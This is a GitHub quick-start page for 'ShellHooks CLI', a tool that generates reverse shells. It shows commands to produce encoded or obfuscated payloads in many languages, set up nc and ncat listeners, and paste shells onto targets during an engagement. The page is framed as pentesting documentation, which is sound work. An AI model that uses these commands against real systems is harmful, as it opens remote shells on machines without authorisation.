Skip to content

QUICKSTART.md

Latest commit

 

History

History
288 lines (206 loc) · 6.14 KB

QUICKSTART.md

File metadata and controls

288 lines (206 loc) · 6.14 KB

ShellHooks CLI - Quick Start Guide

Author: Supun Hewagamage (@supunhg) | Version: 1.1.0 | License: All Rights Reserved

Installation

Option 1: Debian Package (Recommended)

# 1. Clone and build
git clone https://github.com/supunhg/ShellHooks-CLI.git
cd ShellHooks-CLI
./scripts/build_deb.sh

# 2. Install system-wide
sudo dpkg -i shellhooks-cli_1.1.0_all.deb

# 3. Verify
shellhooks --version
man shellhooks

Option 2: Development Install

# 1. Clone the repository
git clone https://github.com/supunhg/ShellHooks-CLI.git
cd ShellHooks-CLI

# 2. Create virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# 3. Install the package
pip install -e .

# 4. Verify installation
shellhooks --version

Command Aliases

Use short aliases for faster workflow:

shellhooks g python -i 10.0.0.1 -p 4444     # g = generate
shellhooks i                                 # i = interactive  
shellhooks l --language bash                 # l = list

Suppress Banner

Hide the ASCII banner with -nb or --no-banner (before subcommand):

shellhooks -nb list
shellhooks --no-banner i

Basic Usage

Generate a Simple Shell

# Python reverse shell
shellhooks generate python -i 10.0.0.1 -p 4444

Use Interactive Mode

# Launch interactive wizard (recommended for beginners)
shellhooks interactive
# Or use alias
shellhooks i

The interactive mode will guide you through:

  • Selecting a language with fuzzy search
  • Choosing version and variant
  • Entering IP and port
  • Configuring encoding and obfuscation
  • Choosing output method (display, clipboard, file, listener)
  • NEW: Shell payload is always displayed for easy copying
  • NEW: Auto-start listener in a new terminal window

List Available Shells

# Show all available shells
shellhooks list

# Show shells for a specific language
shellhooks list --language python

# Search for shells
shellhooks list --search socket

Common Commands

# Generate with encoding
shellhooks generate bash -i 192.168.1.100 -p 9001 --encode base64

# Copy to clipboard
shellhooks generate php -i 10.0.0.1 -p 4444 --clipboard

# Save to file
shellhooks generate perl -i 10.0.0.1 -p 4444 --output shell.pl

# Show listener command
shellhooks generate python -i 10.0.0.1 -p 4444 --listener

# Save as preset for reuse
shellhooks generate python -i 10.0.0.1 -p 4444 --save-preset "lab-python"

Listener Commands

# Generate netcat listener
shellhooks listener -p 4444

# Use ncat with SSL
shellhooks listener -p 4444 --tool ncat --ssl

# Show all listener options
shellhooks listener -p 4444 --all

# Include PTY upgrade instructions
shellhooks listener -p 4444 --pty-upgrade

Preset Management

# Save a preset
shellhooks preset save "internal-lab" python -i 10.10.10.50 -p 4444 --encode base64

# Load and use preset
shellhooks preset load "internal-lab" --clipboard

# List all presets
shellhooks preset list

# Delete preset
shellhooks preset delete "internal-lab"

Typical Workflow

1. Penetration Testing Engagement

# Step 1: Generate shell and copy to clipboard
shellhooks generate python -i 192.168.1.100 -p 4444 --encode base64 --clipboard

# Step 2: Set up listener (in another terminal)
shellhooks listener -p 4444 --pty-upgrade

# Step 3: Paste shell code on target system
# Step 4: Use PTY upgrade commands shown by listener

2. Using Presets for Common Targets

# Save presets for different environments
shellhooks preset save "internal-network" python -i 10.10.10.50 -p 4444
shellhooks preset save "dmz" bash -i 172.16.0.10 -p 443
shellhooks preset save "external" php -i 203.0.113.10 -p 80

# Quick access during engagement
shellhooks preset load "internal-network" --clipboard --listener

Available Languages

  • Python (3.x, 2.x) - Standard, Short, IPv6
  • Bash - TCP, UDP, Exec, FIFO
  • Netcat - Traditional, mkfifo, OpenBSD
  • PHP - exec, shell_exec, system, passthru
  • Perl - Standard, No /bin/sh
  • Ruby - Standard, No /bin/sh
  • Node.js - Standard, Short
  • Java - Standard Runtime
  • PowerShell - Standard TCP, Simple

Encoding Methods

  • none - No encoding (default)
  • base64 - Base64 encoding with auto-decoder
  • url - URL encoding
  • hex - Hexadecimal encoding
  • unicode - Unicode escape sequences

Advanced Features

Obfuscation

# Apply obfuscation (levels 1-3)
shellhooks generate python -i 10.0.0.1 -p 4444 --obfuscate 2

SSL/TLS Listener

# Generate shell for SSL listener
shellhooks generate python -i 10.0.0.1 -p 4444 --ssl

# Create SSL listener
shellhooks listener -p 4444 --tool ncat --ssl

Batch Generation

# Generate multiple shells
for lang in python bash php perl; do
    shellhooks generate $lang -i 10.0.0.1 -p 4444 --output "shells/${lang}.txt"
done

Tips

  1. Use Interactive Mode when you're unsure about available options
  2. Save Presets for frequently used configurations
  3. Always set up listener first before deploying shell
  4. Use PTY upgrade immediately after connection for better shell
  5. Test shells in a lab environment before using in engagements

Getting Help

# View comprehensive man page
man shellhooks

# General help
shellhooks --help

# Command-specific help
shellhooks generate --help
shellhooks listener --help
shellhooks preset --help

Troubleshooting

Command not found after installation

# Ensure virtual environment is activated
source venv/bin/activate

# Or reinstall
pip install -e .

No templates found

# Verify templates.json exists
ls -la src/data/templates.json

# Reinstall if missing
pip install -e . --force-reinstall

Clipboard not working

# Install clipboard support (Linux)
sudo apt install xclip  # or xsel

# macOS and Windows should work out of the box

Next Steps

  • Explore all available shells: shellhooks list
  • Try interactive mode: shellhooks interactive
  • Read the comprehensive man page: man shellhooks
  • Read the full documentation in README.md
  • Check the changelog: CHANGELOG.md